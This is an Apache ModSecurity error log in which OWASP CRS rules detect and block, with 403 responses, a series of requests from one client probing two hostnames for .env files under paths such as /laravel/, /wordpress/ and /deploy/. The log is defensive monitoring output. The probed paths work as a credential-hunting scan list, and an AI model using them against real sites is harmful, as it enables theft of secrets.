[Sat Oct 24 21:49:34.736410 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at1gLj8oejtZfsaip1YpNwAAABE"]
[Sat Oct 24 21:49:34.736637 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at1gLj8oejtZfsaip1YpNwAAABE"]
[Sat Oct 24 21:49:34.736974 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at1gLj8oejtZfsaip1YpNwAAABE"]
[Sat Oct 24 21:49:34.790076 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgQAAACE"]
[Sat Oct 24 21:49:34.790344 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgQAAACE"]
[Sat Oct 24 21:49:34.790701 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgQAAACE"]
[Sat Oct 24 21:49:34.799114 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at1gLj8oejtZfsaip1YpOAAAABE"]
[Sat Oct 24 21:49:34.799305 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at1gLj8oejtZfsaip1YpOAAAABE"]
[Sat Oct 24 21:49:34.799537 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at1gLj8oejtZfsaip1YpOAAAABE"]
[Sat Oct 24 21:49:34.824588 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWggAAACE"]
[Sat Oct 24 21:49:34.825045 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWggAAACE"]
[Sat Oct 24 21:49:34.825388 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWggAAACE"]
[Sat Oct 24 21:49:34.827168 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at1gLj8oejtZfsaip1YpOQAAABE"]
[Sat Oct 24 21:49:34.827376 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at1gLj8oejtZfsaip1YpOQAAABE"]
[Sat Oct 24 21:49:34.827597 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at1gLj8oejtZfsaip1YpOQAAABE"]
[Sat Oct 24 21:49:34.859577 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgwAAACE"]
[Sat Oct 24 21:49:34.859777 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgwAAACE"]
[Sat Oct 24 21:49:34.860047 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgwAAACE"]
[Sat Oct 24 21:49:34.862739 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at1gLj8oejtZfsaip1YpOgAAABE"]
[Sat Oct 24 21:49:34.862898 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at1gLj8oejtZfsaip1YpOgAAABE"]
[Sat Oct 24 21:49:34.863116 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at1gLj8oejtZfsaip1YpOgAAABE"]
[Sat Oct 24 21:49:34.872766 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhAAAACE"]
[Sat Oct 24 21:49:34.872934 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhAAAACE"]
[Sat Oct 24 21:49:34.873174 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhAAAACE"]
[Sat Oct 24 21:49:34.913998 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhQAAACE"]
[Sat Oct 24 21:49:34.914209 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhQAAACE"]
[Sat Oct 24 21:49:34.914505 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhQAAACE"]
[Sat Oct 24 21:49:34.924109 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at1gLj8oejtZfsaip1YpOwAAABE"]
[Sat Oct 24 21:49:34.924302 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at1gLj8oejtZfsaip1YpOwAAABE"]
[Sat Oct 24 21:49:34.924545 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at1gLj8oejtZfsaip1YpOwAAABE"]
[Sat Oct 24 21:49:34.970059 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhgAAACE"]
[Sat Oct 24 21:49:34.970364 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhgAAACE"]
[Sat Oct 24 21:49:34.970697 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWhgAAACE"]
[Sat Oct 24 21:49:34.983307 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at1gLj8oejtZfsaip1YpPAAAABE"]
[Sat Oct 24 21:49:34.983486 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at1gLj8oejtZfsaip1YpPAAAABE"]
[Sat Oct 24 21:49:34.983742 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at1gLj8oejtZfsaip1YpPAAAABE"]
[Sat Oct 24 21:49:34.999481 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at1gLj8oejtZfsaip1YpPQAAABE"]
[Sat Oct 24 21:49:34.999664 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at1gLj8oejtZfsaip1YpPQAAABE"]
[Sat Oct 24 21:49:34.999891 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at1gLj8oejtZfsaip1YpPQAAABE"]
